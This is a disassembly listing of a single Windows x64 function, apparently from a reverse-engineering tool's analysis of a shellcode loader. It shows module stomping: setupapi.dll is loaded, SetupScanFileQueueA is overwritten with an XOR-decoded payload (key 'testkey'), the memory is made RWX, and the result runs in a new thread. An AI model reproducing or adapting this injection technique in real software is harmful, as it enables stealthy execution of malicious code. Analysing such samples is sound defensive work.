Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rdx, str.setupapi.dll
lea rcx, str.___Press__Enter__To_Load___s__...
call fcn.140001010
call fcn.140006b8c
lea rcx, str._i__Loading...
call fcn.140001010
lea rcx, str.setupapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
jne 0x1400010ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LoadLibraryA_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001360
add rsp, 0x40
pop rbx
ret
lea rcx, str.___DONE__n
mov qword [rsp + 0x58], rdi
call fcn.140001010
lea rdx, str.SetupScanFileQueueA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x140001131
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_with_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001336
mov r8, rdi
mov qword [rsp + 0x50], rbp
lea rdx, str.SetupScanFileQueueA
lea rcx, str.___Address_Of___s__:_0x_p__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.140001010
call fcn.140006b8c
lea rcx, str._i__Writing...
call fcn.140001010
xor r9d, r9d
lea rbx, [0x140022a70]
mov r10d, 1
lea rbp, str.testkey
sub r10, rbx
movabs r11, 0x2492492492492493
nop dword [rax]
lea r8, [r9 + rbx]
mov rax, r11
mul r9
mov rax, r9
mov rcx, r9
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + rbp]
lea rcx, [r8 + r10]
xor byte [r8], al
mov rax, r11
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 2
imul rax, rcx, 7
mov rcx, r9
add r9, 2
sub rcx, rax
movzx eax, byte [rcx + rbp + 1]
xor byte [r8 + 1], al
cmp r9, 0x116
jb 0x140001190
mov rbp, qword [rsp + 0x50]
lea r9, [rsp + 0x30]
mov edx, 0x116
mov dword [rsp + 0x30], 0
mov r8d, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001228
lea rbx, str.____VitualProtect__RW__Failed_With_Error_:___d_r_n
jmp 0x1400012bb
mov rcx, rdi
mov eax, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001230
movups xmm0, xmmword [rbx]
lea r9, [rsp + 0x30]
mov edx, 0x116
mov r8d, 0x40
movups xmmword [rcx], xmm0
mov eax, dword [rbx + 0x10]
mov dword [rcx + 0x10], eax
movzx eax, word [rbx + 0x14]
mov word [rcx + 0x14], ax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400012d2
lea rbx, str.____VirtualProtect__RWX__Failed_With_Error_:__d__n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001336
lea rcx, str.___DONE__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Run_The_Payload_...
call fcn.140001010
call fcn.140006b8c
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140001323
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call fcn.140006b8c
xor eax, eax
mov rdi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001360
add rsp, 0x40
pop rbx
ret